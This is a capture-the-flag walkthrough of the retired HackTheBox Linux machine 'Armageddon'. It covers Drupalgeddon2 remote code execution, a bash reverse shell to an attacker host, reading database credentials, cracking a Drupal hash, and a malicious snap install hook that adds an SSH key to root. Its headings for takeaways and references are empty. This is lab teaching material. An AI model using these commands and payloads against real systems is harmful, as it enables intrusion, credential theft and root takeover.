~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / armageddon.md

armageddon

Linux · Easy · released 2021-03-27 · retired 2021-07-24

Summary

Armageddon is a Linux Easy built around two well-documented techniques: CVE-2018-7600 (Drupalgeddon2) for unauthenticated remote code execution against a Drupal 7.56 installation, and a malicious snap package via sudo snap install * NOPASSWD for privilege escalation to root.

The box is named after Drupal’s informal codename for the Drupalgeddon2 vulnerability, which shook the CMS community when it dropped in 2018. The combination of an unpatched CMS and a misconfigured sudo rule makes this an entirely patch-and-policy problem — no binary exploitation is involved at any stage.

Kill-chain: /CHANGELOG.txt discloses Drupal 7.56 → Drupalgeddon2 (drupalgeddon2.rb) gives apache shell → settings.php yields DB credentials → MySQL dumps users table → brucetherealadmin hash cracked (hashcat mode 7900) → SSH password reuse → sudo snap install * NOPASSWD → crafted snap with malicious install hook writes attacker’s SSH key to /root/.ssh/authorized_keys → root.

Source attribution

Recon

nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp  open  ssh   OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http  Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

Only two ports. The Apache version places this on CentOS 7. PHP 5.4.16 is end-of-life and unsupported.

Web enumeration — Drupal version disclosure

The default Drupal page loads at the root. Version identification:

curl http://<TARGET>/CHANGELOG.txt
Drupal 7.56, 2017-06-21

/CHANGELOG.txt is world-readable by default in Drupal 7 and contains the exact release version at the top. The HTML source also contains:

<meta name="Generator" content="Drupal 7 (http://drupal.org)" />

Drupal 7.56 predates the SA-CORE-2018-002 patch (which shipped in 7.58). Any Drupal 7.x instance below 7.58 is vulnerable to Drupalgeddon2.

Foothold — CVE-2018-7600 (Drupalgeddon2)

Drupalgeddon2 is an unauthenticated remote code execution vulnerability in Drupal’s Form API (FAPI). Drupal’s FAPI uses special rendering keys prefixed with # (e.g., #post_render, #markup, #type) that control how form elements are rendered and processed. User-supplied input was permitted to flow into these keys without sanitisation, allowing an attacker to inject PHP callbacks. Specifically, setting name[#post_render][]=passthru and name[#markup]=<base64-encoded command> causes the FAPI renderer to execute arbitrary shell commands as the web server user.

The vulnerable endpoint is /?q=user/password, the password-reset form.

Run the public PoC:

ruby /opt/Drupalgeddon2/drupalgeddon2.rb http://<TARGET>

The PoC drops a PHP webshell in the Drupal root and then uses it for interactive command execution. Initial context:

drupalgeddon2>> id
uid=48(apache) gid=48(apache) groups=48(apache) context=...

Upgrade to a reverse shell:

# Attack machine
nc -lvnp 4444

# Drupalgeddon2 prompt
drupalgeddon2>> bash -c 'bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1'

User flag — credential chain through MySQL

Read the Drupal database configuration:

cat /var/www/html/sites/default/settings.php

The file contains the database connection block including username and password for the drupal MySQL database (drupaluser).

Query the users table without an interactive TTY (MySQL runs fine non-interactively with -e):

mysql -e 'show tables;' -u drupaluser -p'<password>' drupal
mysql -e 'select * from users;' -u drupaluser -p'<password>' drupal

The users table contains one non-anonymous account: brucetherealadmin with a $S$… Drupal 7 password hash.

Crack the hash offline:

hashcat -m 7900 brucetherealadmin.hash /usr/share/wordlists/rockyou.txt

Hashcat mode 7900 targets Drupal7’s iterated SHA-512 scheme. The password is a short dictionary word from rockyou.

Pivot via SSH (the Drupal application password is reused for the system account):

ssh brucetherealadmin@<TARGET>

user.txt is at /home/brucetherealadmin/user.txt.

Privilege escalation — malicious snap package via sudo snap install *

brucetherealadmin@armageddon:~$ sudo -l
User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

snap install with NOPASSWD and a wildcard allows installing any snap package as root. During installation, snapd runs the snap’s install hook as root. A crafted snap whose hook executes a root-level action is therefore a direct privilege escalation.

The malicious snap is built on the attack machine (snapcraft is not available on the target):

snap/snapcraft.yaml:

name: pwn
version: '0.1'
summary: Exploit snap
grade: devel
confinement: devmode
parts:
  my-part:
    plugin: nil

snap/hooks/install:

#!/bin/bash
mkdir -p /root/.ssh
echo "<ATTACKER_PUBLIC_KEY>" >> /root/.ssh/authorized_keys

Build:

snapcraft

Produces pwn_0.1_amd64.snap.

Transfer to target and install:

# Attack machine — serve the file
python3 -m http.server 8080

# Target
wget http://<ATTACKER>:8080/pwn_0.1_amd64.snap
sudo snap install --devmode pwn_0.1_amd64.snap

The install hook runs as root, appending the attacker’s public key to /root/.ssh/authorized_keys.

SSH in as root:

ssh -i <ATTACKER_PRIVATE_KEY> root@<TARGET>
[root@armageddon ~]# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗